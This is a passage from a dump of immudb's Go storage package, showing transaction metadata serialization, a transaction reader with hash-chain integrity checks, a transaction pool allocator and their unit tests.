nil\n\t\t}\n\tdefault:\n\t\t{\n\t\t\treturn nil, fmt.Errorf(\"error reading tx metadata attributes: %w\", ErrCorruptedData)\n\t\t}\n\t}\n}\n\n// TxMetadata is used to store metadata of a transaction.\ntype TxMetadata struct {\n\t// attributes is a map of attributes.\n\tattributes map[attributeCode]attribute\n}\n\nfunc NewTxMetadata() *TxMetadata {\n\treturn &TxMetadata{\n\t\tattributes: make(map[attributeCode]attribute),\n\t}\n}\n\nfunc (md *TxMetadata) IsEmpty() bool {\n\treturn md == nil || len(md.attributes) == 0\n}\n\nfunc (md *TxMetadata) HasExtraOnly() bool {\n\treturn len(md.attributes) == 1 && md.Extra() != nil\n}\n\nfunc (md *TxMetadata) Equal(amd *TxMetadata) bool {\n\tif amd == nil || md == nil {\n\t\treturn false\n\t}\n\treturn bytes.Equal(md.Bytes(), amd.Bytes())\n}\n\nfunc (md *TxMetadata) Bytes() []byte {\n\tvar b bytes.Buffer\n\n\tfor _, attrCode := range []attributeCode{truncatedUptoTxAttrCode, extraAttrCode} {\n\t\tattr, ok := md.attributes[attrCode]\n\t\tif ok {\n\t\t\tb.WriteByte(byte(attr.code()))\n\t\t\tb.Write(attr.serialize())\n\t\t}\n\t}\n\n\treturn b.Bytes()\n}\n\nfunc (md *TxMetadata) ReadFrom(b []byte) error {\n\tif len(b) > maxTxMetadataLen {\n\t\treturn ErrCorruptedData\n\t}\n\n\ti := 0\n\n\tfor {\n\t\tif len(b) == i {\n\t\t\tbreak\n\t\t}\n\n\t\tif len(b[i:]) < attrCodeSize {\n\t\t\treturn ErrCorruptedData\n\t\t}\n\n\t\tattrCode := attributeCode(b[i])\n\t\ti += attrCodeSize\n\n\t\tattr, err := getAttributeFrom(attrCode)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tn, err := attr.deserialize(b[i:])\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error reading tx metadata attributes: %w\", err)\n\t\t}\n\t\ti += n\n\n\t\tmd.attributes[attr.code()] = attr\n\t}\n\n\treturn nil\n}\n\n// HasTruncatedTxID returns true if the transaction stores the information\n// up to which given transaction ID the database was truncated.\nfunc (md *TxMetadata) HasTruncatedTxID() bool {\n\t_, ok := md.attributes[truncatedUptoTxAttrCode]\n\treturn ok\n}\n\n// GetTruncatedTxID returns the transaction ID up to which the\n// database was last truncated.\nfunc (md *TxMetadata) GetTruncatedTxID() (uint64, error) {\n\tattr, ok := md.attributes[truncatedUptoTxAttrCode]\n\tif !ok {\n\t\treturn 0, ErrTruncationInfoNotPresentInMetadata\n\t}\n\n\treturn attr.(*truncatedUptoTxAttribute).txID, nil\n}\n\n// WithTruncatedTxID sets the vlog truncated attribute indicating\n// that the transaction stores the information up to which given\n// transaction ID the database was truncated.\nfunc (md *TxMetadata) WithTruncatedTxID(txID uint64) *TxMetadata {\n\tattr, ok := md.attributes[truncatedUptoTxAttrCode]\n\tif !ok {\n\t\tattr = &truncatedUptoTxAttribute{txID: txID}\n\t\tmd.attributes[truncatedUptoTxAttrCode] = attr\n\t\treturn md\n\t}\n\n\tattr.(*truncatedUptoTxAttribute).txID = txID\n\treturn md\n}\n\nfunc (md *TxMetadata) Extra() []byte {\n\tattr, ok := md.attributes[extraAttrCode]\n\tif !ok {\n\t\treturn nil\n\t}\n\n\treturn attr.(*extraAttribute).extra\n}\n\nfunc (md *TxMetadata) WithExtra(data []byte) error {\n\tif len(data) == 0 {\n\t\tdelete(md.attributes, extraAttrCode)\n\t\treturn nil\n\t}\n\n\tif len(data) > maxExtraLen {\n\t\treturn fmt.Errorf(\"%w: max extra data length exceeded\", ErrIllegalArguments)\n\t}\n\n\tattr := &extraAttribute{extra: make([]byte, len(data))}\n\tcopy(attr.extra, data)\n\n\tmd.attributes[extraAttrCode] = attr\n\n\treturn nil\n}\n"
  },
  {
    "path": "embedded/store/tx_metadata_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTxMetadata(t *testing.T) {\n\tmd := NewTxMetadata()\n\n\trequire.True(t, md.IsEmpty())\n\n\tbs := md.Bytes()\n\trequire.Nil(t, bs)\n\n\terr := md.ReadFrom(bs)\n\trequire.NoError(t, err)\n\n\tdesmd := NewTxMetadata()\n\terr = desmd.ReadFrom(nil)\n\trequire.NoError(t, err)\n\n\terr = desmd.ReadFrom(desmd.Bytes())\n\trequire.NoError(t, err)\n\n\trequire.True(t, md.Equal(desmd))\n\trequire.True(t, desmd.IsEmpty())\n}\n\nfunc TestTxMetadataWithAttributes(t *testing.T) {\n\tmd := NewTxMetadata()\n\n\tbs := md.Bytes()\n\trequire.Len(t, bs, 0)\n\n\terr := md.ReadFrom(bs)\n\trequire.NoError(t, err)\n\trequire.False(t, md.HasTruncatedTxID())\n\n\tdesmd := NewTxMetadata()\n\n\terr = desmd.ReadFrom(nil)\n\trequire.NoError(t, err)\n\n\t_, err = desmd.GetTruncatedTxID()\n\trequire.ErrorIs(t, err, ErrTruncationInfoNotPresentInMetadata)\n\n\tdesmd.WithTruncatedTxID(1)\n\trequire.True(t, desmd.HasTruncatedTxID())\n\n\tv, err := desmd.GetTruncatedTxID()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(1), v)\n\n\tdesmd.WithTruncatedTxID(10)\n\tv, err = desmd.GetTruncatedTxID()\n\trequire.NoError(t, err)\n\trequire.Equal(t, uint64(10), v)\n\n\trequire.Nil(t, desmd.Extra())\n\n\textraData := []byte(\"extra-data\")\n\n\terr = desmd.WithExtra(extraData)\n\trequire.NoError(t, err)\n\n\trequire.Equal(t, extraData, desmd.Extra())\n\n\trequire.False(t, desmd.IsEmpty())\n\n\tbs = desmd.Bytes()\n\trequire.NotNil(t, bs)\n\trequire.LessOrEqual(t, len(bs), maxTxMetadataLen)\n\n\terr = desmd.ReadFrom(bs)\n\trequire.NoError(t, err)\n\trequire.True(t, desmd.HasTruncatedTxID())\n}\n"
  },
  {
    "path": "embedded/store/tx_reader.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"crypto/sha256\"\n\t\"fmt\"\n)\n\ntype TxReader struct {\n\tInitialTxID uint64\n\tDesc        bool\n\n\tallowPrecommitted  bool\n\tskipIntegrityCheck bool\n\n\tCurrTxID uint64\n\tCurrAlh  [sha256.Size]byte\n\n\tst  *ImmuStore\n\t_tx *Tx\n}\n\nfunc (s *ImmuStore) NewTxReader(initialTxID uint64, desc bool, tx *Tx) (*TxReader, error) {\n\ts.mutex.Lock()\n\tdefer s.mutex.Unlock()\n\n\tif s.closed {\n\t\treturn nil, ErrAlreadyClosed\n\t}\n\n\treturn s.newTxReader(initialTxID, desc, false, false, tx)\n}\n\nfunc (s *ImmuStore) newTxReader(initialTxID uint64, desc, allowPrecommitted bool, skipIntegrityCheck bool, tx *Tx) (*TxReader, error) {\n\tif initialTxID == 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif tx == nil {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\treturn &TxReader{\n\t\tInitialTxID:        initialTxID,\n\t\tDesc:               desc,\n\t\tCurrTxID:           initialTxID,\n\t\tallowPrecommitted:  allowPrecommitted,\n\t\tskipIntegrityCheck: skipIntegrityCheck,\n\t\tst:                 s,\n\t\t_tx:                tx,\n\t}, nil\n}\n\nfunc (txr *TxReader) Read() (*Tx, error) {\n\tif txr.CurrTxID == 0 {\n\t\treturn nil, ErrNoMoreEntries\n\t}\n\n\terr := txr.st.readTx(txr.CurrTxID, txr.allowPrecommitted, txr.skipIntegrityCheck, txr._tx)\n\tif err == ErrTxNotFound {\n\t\treturn nil, ErrNoMoreEntries\n\t}\n\tif err != nil {\n\t\treturn nil, txr.st.wrapAppendableErr(err, \"reading transaction\")\n\t}\n\n\tif txr.InitialTxID != txr.CurrTxID {\n\t\tif txr.Desc && txr.CurrAlh != txr._tx.header.Alh() {\n\t\t\treturn nil, fmt.Errorf(\"%w: ALH mismatch at tx %d\", ErrCorruptedTxData, txr._tx.header.ID)\n\t\t}\n\n\t\tif !txr.Desc && txr.CurrAlh != txr._tx.header.PrevAlh {\n\t\t\treturn nil, fmt.Errorf(\"%w: ALH mismatch at tx %d\", ErrCorruptedTxData, txr._tx.header.ID)\n\t\t}\n\t}\n\n\tif txr.Desc {\n\t\ttxr.CurrTxID--\n\t\ttxr.CurrAlh = txr._tx.header.PrevAlh\n\t} else {\n\t\ttxr.CurrTxID++\n\t\ttxr.CurrAlh = txr._tx.header.Alh()\n\t}\n\n\treturn txr._tx, nil\n}\n"
  },
  {
    "path": "embedded/store/tx_reader_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"context\"\n\t\"encoding/binary\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable/multiapp\"\n\t\"github.com/codenotary/immudb/embedded/appendable/singleapp\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTxReader(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\trequire.NotNil(t, immuStore)\n\n\ttxCount := 1000\n\teCount := 10\n\n\tfor i := 0; i < txCount; i++ {\n\t\ttx, err := immuStore.NewWriteOnlyTx(context.Background())\n\t\trequire.NoError(t, err)\n\n\t\tfor j := 0; j < eCount; j++ {\n\t\t\tk := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(k, uint64(j))\n\n\t\t\tv := make([]byte, 8)\n\t\t\tbinary.BigEndian.PutUint64(v, uint64(i))\n\n\t\t\terr = tx.Set(k, nil, v)\n\t\t\trequire.NoError(t, err)\n\t\t}\n\n\t\ttxhdr, err := tx.AsyncCommit(context.Background())\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, uint64(i+1), txhdr.ID)\n\t}\n\n\t_, err = immuStore.NewTxReader(0, false, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\t_, err = immuStore.NewTxReader(1, false, nil)\n\trequire.ErrorIs(t, err, ErrIllegalArguments)\n\n\ttxHolder := tempTxHolder(t, immuStore)\n\n\tcurrTxID := uint64(1)\n\ttxReader, err := immuStore.NewTxReader(currTxID, false, txHolder)\n\trequire.NoError(t, err)\n\n\tfor {\n\t\ttx, err := txReader.Read()\n\t\tif err == ErrNoMoreEntries {\n\t\t\tbreak\n\t\t}\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, currTxID, tx.header.ID)\n\t\tcurrTxID++\n\t}\n\n\trequire.Equal(t, uint64(txCount), currTxID-1)\n\n\tcurrTxID = uint64(txCount)\n\ttxReader, err = immuStore.NewTxReader(currTxID, true, txHolder)\n\trequire.NoError(t, err)\n\n\tfor {\n\t\ttx, err := txReader.Read()\n\t\tif err == ErrNoMoreEntries {\n\t\t\tbreak\n\t\t}\n\t\trequire.NoError(t, err)\n\t\trequire.Equal(t, currTxID, tx.header.ID)\n\t\tcurrTxID--\n\t}\n\n\trequire.Equal(t, uint64(0), currTxID)\n}\n\nfunc TestWrapAppendableErr(t *testing.T) {\n\topts := DefaultOptions().WithSynced(false).WithMaxConcurrency(1)\n\timmuStore, err := Open(t.TempDir(), opts)\n\trequire.NoError(t, err)\n\n\terr = immuStore.wrapAppendableErr(nil, \"anAction\")\n\trequire.NoError(t, err)\n\n\tunwrappedErr := errors.New(\"some error\")\n\terr = immuStore.wrapAppendableErr(unwrappedErr, \"anAction\")\n\trequire.ErrorIs(t, err, unwrappedErr)\n\n\terr = immuStore.wrapAppendableErr(singleapp.ErrAlreadyClosed, \"anAction\")\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n\n\terr = immuStore.wrapAppendableErr(multiapp.ErrAlreadyClosed, \"anAction\")\n\trequire.ErrorIs(t, err, ErrAlreadyClosed)\n}\n"
  },
  {
    "path": "embedded/store/tx_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"crypto/sha256\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/appendable\"\n\t\"github.com/codenotary/immudb/embedded/appendable/mocked\"\n\n\t\"github.com/stretchr/testify/assert\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestReadTxFromCorruptedData(t *testing.T) {\n\n\ta := &mocked.MockedAppendable{}\n\n\tr := appendable.NewReaderFrom(a, 0, 1)\n\trequire.NotNil(t, r)\n\n\ttx := NewTx(1, 32)\n\n\t// Should fail while reading TxID\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr := tx.readFrom(r, false)\n\trequire.Error(t, err)\n\n\t// Should fail while reading Ts\n\tr.Reset()\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tif off < 8 {\n\t\t\treturn len(bs), nil\n\t\t}\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr = tx.readFrom(r, false)\n\trequire.Error(t, err)\n\n\t// Should fail while reading BlTxID\n\tr.Reset()\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tif off < 16 {\n\t\t\treturn len(bs), nil\n\t\t}\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr = tx.readFrom(r, false)\n\trequire.Error(t, err)\n\n\t// Should fail while reading BlRoot\n\tr.Reset()\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tif off < 24+sha256.Size {\n\t\t\treturn len(bs), nil\n\t\t}\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr = tx.readFrom(r, false)\n\trequire.Error(t, err)\n\n\t// Should fail while reading PrevAlh\n\tr.Reset()\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tif off < 24+2*sha256.Size {\n\t\t\treturn len(bs), nil\n\t\t}\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr = tx.readFrom(r, false)\n\trequire.Error(t, err)\n\n\t// Should fail while reading nentries\n\tr.Reset()\n\ta.ReadAtFn = func(bs []byte, off int64) (int, error) {\n\t\tif off < 32+2*sha256.Size {\n\t\t\treturn len(bs), nil\n\t\t}\n\t\treturn 0, errors.New(\"error\")\n\t}\n\terr = tx.readFrom(r, false)\n\trequire.Error(t, err)\n}\n\nfunc TestTxHeaderBytes(t *testing.T) {\n\t// Default version-0 header\n\th := TxHeader{\n\t\tID:       0x01,\n\t\tTs:       0x02,\n\t\tBlTxID:   0x03,\n\t\tBlRoot:   [sha256.Size]byte{0x04},\n\t\tPrevAlh:  [sha256.Size]byte{0x05},\n\t\tMetadata: nil,\n\t\tNEntries: 0x07,\n\t\tEh:       [sha256.Size]byte{0x08},\n\t}\n\n\tt.Run(\"encoding of hdr version 0\", func(t *testing.T) {\n\t\th.Version = 0\n\t\tbytes, err := h.Bytes()\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, []byte{\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // ID\n\t\t\t0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // PrevAlh\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, // Ts\n\t\t\t0x0, 0x0, // Version\n\t\t\t0x0, 0x7, // nEntries\n\t\t\t0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // Eh\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, // BlTxID\n\t\t\t0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // BlRoot\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t}, bytes)\n\t})\n\n\tt.Run(\"encoding of hdr version 1\", func(t *testing.T) {\n\t\th.Version = 1\n\t\tbytes, err := h.Bytes()\n\t\trequire.NoError(t, err)\n\t\tassert.Equal(t, []byte{\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x1, // ID\n\t\t\t0x5, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // PrevAlh\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2, // Ts\n\t\t\t0x0, 0x1, // Version\n\t\t\t0x0, 0x0, // Metadata size\n\t\t\t0x0, 0x0, 0x0, 0x7, // nEntries\n\t\t\t0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // Eh\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x3, // BlTxID\n\t\t\t0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, // BlRoot\n\t\t\t0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,\n\t\t}, bytes)\n\t})\n\n\tt.Run(\"encoding of invalid hrd version must end up with an error\", func(t *testing.T) {\n\t\th2 := h\n\t\th2.Version = -1\n\t\t_, err := h2.Bytes()\n\t\trequire.ErrorIs(t, err, ErrUnsupportedTxHeaderVersion)\n\t})\n\n\tt.Run(\"encoding of hrd version 0 must end up with an error if used with non-empty metadata\", func(t *testing.T) {\n\t\th2 := h\n\t\th2.Version = 0\n\t\th2.Metadata = NewTxMetadata()\n\t\t_, err := h2.Bytes()\n\t\trequire.NoError(t, err)\n\t\t// Currently the tx metadata can only be empty, it will not fail\n\t})\n}\n\nfunc TestEntryMetadataWithVersions(t *testing.T) {\n\tentries := []*TxEntry{\n\t\tNewTxEntry(\n\t\t\t[]byte(\"key\"),\n\t\t\tnil,\n\t\t\t0,\n\t\t\t[sha256.Size]byte{},\n\t\t\t0,\n\t\t),\n\t}\n\n\ttx := NewTxWithEntries(&TxHeader{NEntries: len(entries)}, entries)\n\n\tt.Run(\"calculating TX hash tree for entries without metadata must succeed\", func(t *testing.T) {\n\t\ttx.header.Version = 0\n\n\t\terr := tx.BuildHashTree()\n\t\trequire.NoError(t, err)\n\n\t\ttx.header.Version = 1\n\t\terr = tx.BuildHashTree()\n\t\trequire.NoError(t, err)\n\t})\n\tt.Run(\"calculating TX hash tree for entries with empty metadata must succeed\", func(t *testing.T) {\n\t\ttx.entries[0].md = NewKVMetadata()\n\n\t\ttx.header.Version = 0\n\n\t\terr := tx.BuildHashTree()\n\t\trequire.NoError(t, err)\n\n\t\ttx.header.Version = 1\n\t\terr = tx.BuildHashTree()\n\t\trequire.NoError(t, err)\n\t})\n\n\tt.Run(\"calculating TX hash tree for entries with non-empty metadata must fail in version 0\", func(t *testing.T) {\n\t\ttx.entries[0].md.AsDeleted(true)\n\n\t\ttx.header.Version = 0\n\n\t\terr := tx.BuildHashTree()\n\t\trequire.ErrorIs(t, err, ErrMetadataUnsupported)\n\n\t\ttx.header.Version = 1\n\t\terr = tx.BuildHashTree()\n\t\trequire.NoError(t, err)\n\t})\n\n}\n"
  },
  {
    "path": "embedded/store/txpool.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"sync\"\n)\n\ntype txPoolOptions struct {\n\tpoolSize     int\n\tmaxTxEntries int\n\tmaxKeyLen    int\n\tpreallocated bool\n}\n\ntype TxPool interface {\n\tAlloc() (*Tx, error)\n\tRelease(*Tx)\n\tStats() (used, free, max int)\n}\n\ntype txPool struct {\n\tpool []*Tx\n\tused int\n\tm    sync.Mutex\n\topts txPoolOptions\n}\n\nfunc newTxPool(opts txPoolOptions) (TxPool, error) {\n\n\tif opts.poolSize <= 0 || opts.maxTxEntries <= 0 || opts.maxKeyLen <= 0 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tret := &txPool{\n\t\tpool: make([]*Tx, 0, opts.poolSize),\n\t\topts: opts,\n\t}\n\n\tif opts.preallocated {\n\t\tfor i := 0; i < opts.poolSize; i++ {\n\t\t\tret.pool = append(ret.pool, NewTx(opts.maxTxEntries, opts.maxKeyLen))\n\t\t}\n\t}\n\n\treturn ret, nil\n}\n\nfunc (p *txPool) Alloc() (*Tx, error) {\n\tp.m.Lock()\n\tdefer p.m.Unlock()\n\n\tif p.used == len(p.pool) {\n\t\tif p.used >= p.opts.poolSize {\n\t\t\treturn nil, ErrTxPoolExhausted\n\t\t}\n\n\t\tp.pool = append(p.pool, NewTx(p.opts.maxTxEntries, p.opts.maxKeyLen))\n\t}\n\n\ttx := p.pool[p.used]\n\tp.used++\n\n\treturn tx, nil\n}\n\nfunc (p *txPool) Release(tx *Tx) {\n\tp.m.Lock()\n\tdefer p.m.Unlock()\n\n\tp.used--\n\tp.pool[p.used] = tx\n}\n\nfunc (p *txPool) Stats() (used, free, max int) {\n\tp.m.Lock()\n\tdefer p.m.Unlock()\n\n\treturn p.used, len(p.pool) - p.used, p.opts.poolSize\n}\n"
  },
  {
    "path": "embedded/store/txpool_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage store\n\nimport (\n\t\"fmt\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTxPool(t *testing.T) {\n\tfor _, preallocated := range []bool{true, false} {\n\n\t\tt.Run(fmt.Sprintf(\"preallocated: %v\", preallocated), func(t *testing.T) {\n\t\t\tp, err := newTxPool(txPoolOptions{\n\t\t\t\tmaxTxEntries: 100,\n\t\t\t\tmaxKeyLen:    101,\n\t\t\t\tpoolSize:     102,\n\t\t\t\tpreallocated: preallocated,\n\t\t\t})\n\t\t\trequire.NoError(t, err)\n\n\t\t\tt.Run(\"test initial pool stats\", func(t *testing.T) {\n\t\t\t\tused, free, max := p.Stats()\n\t\t\t\trequire.Equal(t, 0, used)\n\t\t\t\trequire.Equal(t, 102, max)\n\t\t\t\tif preallocated {\n\t\t\t\t\trequire.Equal(t, 102, free)\n\t\t\t\t} else {\n\t\t\t\t\trequire.Equal(t, 0, free)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tt.Run(\"test allocation of single tx\", func(t *testing.T) {\n\t\t\t\ttx, err := p.Alloc()\n\t\t\t\trequire.NoError(t, err)\n\t\t\t\trequire.NotNil(t, tx)\n\t\t\t\trequire.Len(t, tx.entries, 100)\n\t\t\t\trequire.NotNil(t, tx.htree)\n\t\t\t\trequire.NotNil(t, tx.header)\n\n\t\t\t\tfor _, e := range tx.entries {\n\t\t\t\t\trequire.Len(t, e.k, 101)\n\t\t\t\t}\n\n\t\t\t\tused, free, max := p.Stats()\n\t\t\t\trequire.Equal(t, 1, used)\n\t\t\t\trequire.Equal(t, 102, max)\n\n\t\t\t\tif preallocated {\n\t\t\t\t\trequire.Equal(t, 101, free)\n\t\t\t\t} else {\n\t\t\t\t\trequire.Equal(t, 0, free)\n\t\t\t\t}\n\n\t\t\t\tp.Release(tx)\n\n\t\t\t\tused, free, max = p.Stats()\n\t\t\t\trequire.Equal(t, 0, used)\n\t\t\t\trequire.Equal(t, 102, max)\n\t\t\t\tif preallocated {\n\t\t\t\t\trequire.Equal(t, 102, free)\n\t\t\t\t} else {\n\t\t\t\t\trequire.Equal(t, 1, free)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\ttxsMap := map[*Tx]struct{}{}\n\t\t\ttxs := []*Tx{}\n\n\t\t\tt.Run(\"test allocation of all pool entries\", func(t *testing.T) {\n\t\t\t\tfor i := 0; i < 102; i++ {\n\t\t\t\t\ttx, err := p.Alloc()\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\t_, found := txsMap[tx]\n\t\t\t\t\trequire.False(t, found)\n\t\t\t\t\ttxsMap[tx] = struct{}{}\n\n\t\t\t\t\ttxs = append(txs, tx)\n\n\t\t\t\t\tused, free, max := p.Stats()\n\t\t\t\t\trequire.Equal(t, len(txsMap), used)\n\t\t\t\t\trequire.Equal(t, 102, max)\n\t\t\t\t\tif preallocated {\n\t\t\t\t\t\trequire.Equal(t, 102-len(txsMap), free)\n\t\t\t\t\t} else {\n\t\t\t\t\t\trequire.Equal(t, 0, free)\n\t\t\t\t\t}\n\n\t\t\t\t\trequire.Len(t, tx.entries, 100)\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tt.Run(\"ensure txs objects don't share buffers\", func(t *testing.T) {\n\t\t\t\tfor i := range txs {\n\t\t\t\t\tfor j, e := range txs[i].entries {\n\t\t\t\t\t\trequire.Len(t, e.k, 101)\n\t\t\t\t\t\tfor k := range e.k {\n\t\t\t\t\t\t\te.k[k] = byte(i + j + k)\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tfor i := range txs {\n\t\t\t\t\tfor j, e := range txs[i].entries {\n\t\t\t\t\t\trequire.Len(t, e.k, 101)\n\t\t\t\t\t\tfor k := range e.k {\n\t\t\t\t\t\t\trequire.Equal(t, byte(i+j+k), e.k[k])\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t})\n\n\t\t\tt.Run(\"test error once the pool is exhausted\", func(t *testing.T) {\n\t\t\t\ttx, err := p.Alloc()\n\t\t\t\trequire.ErrorIs(t, err, ErrTxPoolExhausted)\n\t\t\t\trequire.Nil(t, tx)\n\t\t\t})\n\n\t\t\tt.Run(\"test freeing all entries in the pool\", func(t *testing.T) {\n\t\t\t\tfor tx := range txsMap {\n\t\t\t\t\tp.Release(tx)\n\t\t\t\t}\n\n\t\t\t\tused, free, max := p.Stats()\n\t\t\t\trequire.Equal(t, 0, used)\n\t\t\t\trequire.Equal(t, 102, max)\n\t\t\t\trequire.Equal(t, 102, free)\n\t\t\t})\n\n\t\t\tt.Run(\"test if reallocated object wre in the pool before\", func(t *testing.T) {\n\t\t\t\tfor i := 0; i < 102; i++ {\n\t\t\t\t\ttx, err := p.Alloc()\n\t\t\t\t\trequire.NoError(t, err)\n\n\t\t\t\t\t_, found := txsMap[tx]\n\t\t\t\t\trequire.True(t, 